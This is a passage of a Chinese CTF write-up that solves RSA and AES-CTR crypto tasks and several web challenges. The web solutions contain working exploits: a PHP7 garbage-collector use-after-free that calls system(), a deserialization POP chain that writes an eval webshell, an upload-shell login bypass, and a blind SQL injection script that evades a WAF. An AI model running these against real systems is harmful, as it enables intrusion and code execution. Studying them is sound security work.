23582278 # 30273764 # 7501764 # -35816639 # 30983928 # -4472687 # 18523534 # 20982750 # 5070455 # 3066924 # 26232118 # -860377 # -14482154 # -17062269 # 6695285 # 16909859 # -1622782 # 33025495 # -10454601 # 51177223 # -15479857 res=[99,115,50,56,82,116,116,104,72,113,115,98,117,102,111,106,115,76,122,55,121,103,50,68,89,113,87,81,69,69,99,89] flag=''.join([chr(i) for i in res]) print flag
crypto
rsa1
from flag import FLAG from Crypto.Util.number import * import gmpy2 import random while True: p=int(gmpy2.next_prime(random.randint(10**399, 10**400-1))) q=int(str(p)[200:]+str(p)[:200]) if gmpy2.is_prime(q): break m=bytes_to_long(FLAG) n=p*q e=65537 c=pow(m,e,n) with open("enc","wb") as f: f.write(str(c)) f.write("\n") f.write(str(n))
p和q都是400位的數,p和q前后200相反
可以設p=a*pow(10,200)+b q=b*pow(10,200)+a
所以n=a*b*pow(10,400)+a*a*pow(10,200)+b*b*pow(10,200)+a*b
可以將n的前200位和后200位憑借得到 a*b
再用n減去a*b部分得到a*a + b*b
求出a,b后再求出p,q
from Crypto.Util.number import * import gmpy2 import random from gmpy2 import * n=21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301 e=65537 nnn1=int(str(n)[:200])-1 nnn2=int(str(n)[600:]) ab=int(str(nnn1)+str(nnn2)) ab=2117306430457495084373744640919209184441085835440785339151821982858580957554648046398035452941253078562547380021066127607547324391257803263684574686690799140082210093930925498879813981907487546461281266736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301 a2b2=n-(pow(10,400)+1)*ab #a**2+b**2 # print a2b2 t=a2b2/pow(10,200) # print t t1=t+2*ab #(a+b)**2 print "(a+b)**2:",t1 #(a+b)**2 t2=t1-4*ab #(a-b)**2 print "(a-b)**2:",t2 #(a-b)**2 tt1=iroot(t1,2)[0] print "(a+b):",tt1 #(a+b) tt2=iroot(t2,2)[0] print "(a-b):",tt2 #(a-b) b=(tt1-tt2)/2 a=tt1-b print "b:",b print "a:",a print iroot(t1,2) print iroot(t2,2) p=a*pow(10,200)+b q=b*pow(10,200)+a print p*q==n print "p",p print "q",q phin=(p - 1) * (q - 1) d=gmpy2.invert(e, phin) print "d",d c=16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836 flag=gmpy2.powmod(c, d, n) print hex(flag)[2:].decode('hex')
AES
題目
#!/usr/bin/env python3 # coding=utf-8 import os import signal from Crypto.Cipher import AES from Crypto.Util import Counter def enc(msg, key): ctr=Counter.new(128, initial_value=sum(msg)) cipher=AES.new(key, AES.MODE_CTR, counter=ctr) return cipher.encrypt(msg) if __name__=='__main__': signal.alarm(60) key=os.urandom(16) with open('/home/ctf/flag', 'rb') as f: flag=f.read() assert len(flag)==30 enc_flag=enc(flag, key) print("Welcome to the our AES encryption system!") print(f"Here is your encrypted flag: {enc_flag}") for i in range(30): try: plaintext=input("Please input your plaintext: ") plaintext=bytes.fromhex(plaintext) ciphertext=enc(plaintext, key) print(f"Here is your ciphertext: {ciphertext}") except Exception: print('Error!') break print('Bye~')
Aes的counter模式(CTR)
其中initial_value=sum(msg) ,當我們輸入的plaintext滿足sum(plaintext)==sum(flag)時,flag ^ encflag==input ^ enc_input,從而求得flag=encflag ^ input ^ enc_input
flag長度30位 0x20*30從爆破到 0x7f*30
from pwn import * import sys from Crypto.Util.number import * def check(str1): if "flag" in str1: return True else: return False # for x in range(0x20,0x7f): for x in range(92,93): print(x*30) p=remote("111.186.57.123",10001) p.recvuntil("flag: b") enc_flag=p.recvuntil("\n",drop=True) exec("enc_flag="+enc_flag) for i in range(30): p.recvuntil("plaintext: ") plaintext=chr(x)*29+chr(x+i) p.sendline(plaintext.encode('hex')) p.recvuntil("ciphertext: b") ciphertext=p.recvuntil("\n",drop=True) exec("ciphertext="+ciphertext) res=long_to_bytes(bytes_to_long(ciphertext)^bytes_to_long(plaintext)^bytes_to_long(enc_flag)) if check(res): print res
最終sum(flag)在2760到2790之間
flag為 flag{Don't_Reu5e_n0nCe_1n_CTR}
web
ezupload
<!---/.login.php.swp-->拿到源碼
<?php #error_reporting(0); session_start(); include "config.php"; $username=$_POST['username']; $password=$_POST['password']; if (isset($username)){ $sql="select password from user where name=?"; if ($stmt=$mysqli->prepare($sql)) { $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($dpasswd); $stmt->fetch(); if ($dpasswd===$password){ $_SESSION['login']=1; header("Location: /upload.php"); }else{ die("login failed"); } $stmt->close(); } }else{ header("Location: /index.php"); } $mysqli->close();
mysql沒有查到記錄時,$dpasswd===NULL 此時令$password===NULL即$_POST['password']===NULL,則成功登陸
登陸后進入上傳界面,測試發現,后端校驗文件頭和content-type 過濾php后綴名,上傳.php5文件,成功拿到shell
拿到flag:flag{logical_bypass_not_weak_password}
expass(bypassDF)
開局一個后門
<?php if(isset($_GET['src'])) { highlight_file(__FILE__); } eval($_GET['cmd']);
php垃圾回收https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
改一下執行的命令
POST /?cmd=eval($_POST['a']); HTTP/1.1 Host: 111.186.57.43:10101 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Length: 5781 Content-Type: multipart/form-data; boundary=--------1608040292 ----------1608040292 Content-Disposition: form-data; name="a" @pwn('/readflag'); function pwn($cmd) { global $abc, $helper; function str2ptr(&$str, $p=0, $s=8) { $address=0; for($j=$s-1; $j >=0; $j--) { $address <<=8; $address |=ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m=8) { $out=""; for ($i=0; $i < $m; $i++) { $out .=chr($ptr & 0xff); $ptr >>=8; } return $out; } function write(&$str, $p, $v, $n=8) { $i=0; for($i=0; $i < $n; $i++) { $str[$p + $i]=chr($v & 0xff); $v >>=8; } } function leak($addr, $p=0, $s=8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak=strlen($helper->a); if($s !=8) { $leak %=2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type=leak($base, 0x10, 2); $e_phoff=leak($base, 0x20); $e_phentsize=leak($base, 0x36, 2); $e_phnum=leak($base, 0x38, 2); for($i=0; $i < $e_phnum; $i++) { $header=$base + $e_phoff + $i * $e_phentsize; $p_type=leak($header, 0, 4); $p_flags=leak($header, 4, 4); $p_vaddr=leak($header, 0x10); $p_memsz=leak($header, 0x28); if($p_type==1 && $p_flags==6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr=$e_type==2 ? $p_vaddr : $base + $p_vaddr; $data_size=$p_memsz; } else if($p_type==1 && $p_flags==5) { # PT_LOAD, PF_Read_exec $text_size=$p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size)=$elf; for($i=0; $i < $data_size / 8; $i++) { $leak=leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref=leak($leak); # 'constant' constant check if($deref !=0x746e6174736e6f63) continue; } else continue; $leak=leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $text_size) { $deref=leak($leak); # 'bin2hex' constant check if($deref !=0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base=0; $start=$binary_leak & 0xfffffffffffff000; for($i=0; $i < 0x1000; $i++) { $addr=$start - 0x1000 * $i; $leak=leak($addr, 0, 7); if($leak==0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr=$basic_funcs; do { $f_entry=leak($addr); $f_name=leak($f_entry, 0, 6); if($f_name==0x6d6574737973) { # system return leak($addr + 8); } $addr +=0x20; } while($f_entry !=0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg=$this->ryat; $this->ryat=1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc=10; # increase this value if you get segfaults $contiguous=[]; for($i=0; $i < $n_alloc; $i++) $contiguous[]=str_repeat('A', 79); $poc='a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out=unserialize($poc); gc_collect_cycles(); $v=[]; $v[0]=ptr2str(0, 79); unset($v); $abc=$out[2][0]; $helper=new Helper; $helper->b=function ($x) { }; if(strlen($abc)==79 || strlen($abc)==0) { die("UAF failed"); } # leaks $closure_handlers=str2ptr($abc, 0); $php_heap=str2ptr($abc, 0x58); $abc_addr=$php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj=str2ptr($abc, 0x20); $binary_leak=leak($closure_handlers, 8); if(!($base=get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf=parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs=get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system=get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset=0xd0; for($i=0; $i < 0x110; $i +=8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); } ----------1608040292
ezpop
<?php error_reporting(0); class A{ protected $store; protected $key; protected $expire; public function __construct($store, $key='flysystem', $expire=null) { $this->key=$key; $this->store=$store; $this->expire=$expire; } public function cleanContents(array $contents) { $cachedProperties=array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path=> $object) { if (is_array($object)) { $contents[$path]=array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned=$this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents=$this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (! $this->autosave) { $this->save(); } } } class B{ protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize=$this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire=null): bool { $this->writeTimes++; if (is_null($expire)) { $expire=$this->options['expire']; } $expire=$this->getExpireTime($expire); $filename=$this->getCacheKey($name); $dir=dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 創建失敗 } } $data=$this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //數據壓縮 $data=gzcompress($data, 3); } $data="<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result=file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir="uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
構造pop鏈
通過觸發A::__destruct()=>A::save()=>A::store->set()==b::set()最后觸發$result=file_put_contents($filename, $data);
繞過exit通過 讓$filename為php://filter/write=convert.base64-decode/resource=uploads/shell.php
因為php中的base64_decode函數會忽略不符合base64編碼的字符, 將合法字符組成一個新的字符串進行解碼,所以最終被解碼的字符僅有php00000000exit和我們傳入的$data變量,因為base64算法解碼時是4個byte一組,所以我們只要控制我們需要真正解碼內容的前面部分字符長度為4的倍數就行
詳細可以參考p師傅的博客link
$filename
在B::getCacheKey($name)中,將$this->options['prefix']和$name拼接得到
構造B::options和A::key使$filename為php://filter/write=convert.base64-decode/resource=uploads/shell.php
$data
由$value=A::getForStorage()和B::serialize($value)得到
構造A的cache為數組['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];
就可以使得$value=A::getForStorage() 的值為[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]
然后再構造B的serialize值為serialize就可以使得B::serialize($value)的值為?s:64:"[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]";
這樣在最后$data被base64解碼的時候只有php//000000000000exits64pathadirname和PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4gtrue,然后前36位字符被編碼成功繞過exit
payload
<?php class A{ protected $store; protected $key; protected $expire; public $cache=[]; public $complete=true; public function __construct () { $this->store=new B(); $this->key='shell.php'; $this->cache=['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')]; } } class B{ public $options=[ 'serialize'=> 'serialize', 'prefix'=> 'php://filter/write=convert.base64-decode/resource=uploads/', ]; } echo urlencode(serialize(new A()));
ezjjava
fastjson 1.2.47 RCE https://github.com/CaijiOrz/fastjson-1.2.47-RCE
ezwaf
題目
<?php include "config.php"; if (isset($_GET['src'])) { highlight_file(__FILE__); } function escape($arr) { global $mysqli; $newarr=array(); foreach($arr as $key=>$val) { if (!is_array($val)) { $newarr[$key]=mysqli_real_escape_string($mysqli, $val); } } return $newarr; } $_GET=escape($_GET); if (isset($_GET['name'])) { $name=$_GET['name']; mysqli_query($mysqli, "select age from user where name='$name'"); }else if(isset($_GET['age'])) { $age=$_GET['age']; mysqli_query($mysqli, "select name from user where age=$age"); }
選擇age作為注入點,不需要逃逸引號,沒有回顯利用時間盲注
?age=1%2bsleep(1)=> 403
apache設置了waf
用畸形的http包繞過modsecurity
import socket ip='111.186.57.43' port=10601 def send_raw(raw): try: with socket.create_connection((ip, port), timeout=4) as conn: conn.send(raw) res=conn.recv(10240).decode() # print(res) return False except: return True if __name__=='__main__': res='flag{abypass_modsecurity' for i in range(24, 50): for j in range(32, 127): payload='''GET /?age=1%20or%201%20and%20ascii(substr((select%20*%20from%20flag_xdd),{},1))={}%20and%20sleep(2) HTTP/1.1 Host: 111.186.57.43:10601 Accept-Encoding: gzip, deflate Connection: close Content-Length: 0 Content-Length: 0 '''.format(str(i), str(j)) exp=payload.encode().replace(b'\n', b'\r\n') # print(exp) if send_raw(exp): res +=chr(j) print(res) continue
不穩定的話時間可以調大一點
聲明:筆者初衷用于分享與普及網絡知識,若讀者因此作出任何危害網絡安全行為后果自負,與合天智匯及原作者無關!